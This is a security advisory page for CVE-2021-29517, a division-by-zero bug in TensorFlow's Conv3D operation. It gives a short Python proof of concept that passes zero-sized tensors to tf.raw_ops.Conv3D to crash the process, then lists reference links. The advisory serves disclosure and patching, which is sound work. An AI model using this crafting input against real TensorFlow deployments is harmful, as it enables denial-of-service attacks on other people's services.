CVE-2021-29517: Division by zero in `Conv3D`
(updated )
A malicious user could trigger a division by 0 in Conv3D
implementation:
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])
References
- github.com/advisories/GHSA-772p-x54p-hjrv
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-445.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-643.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-154.yaml
- github.com/tensorflow/tensorflow/commit/799f835a3dfa00a4d852defa29b15841eea9d64f
- github.com/tensorflow/tensorflow/security/advisories/GHSA-772p-x54p-hjrv
- nvd.nist.gov/vuln/detail/CVE-2021-29517
Detect and mitigate CVE-2021-29517 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →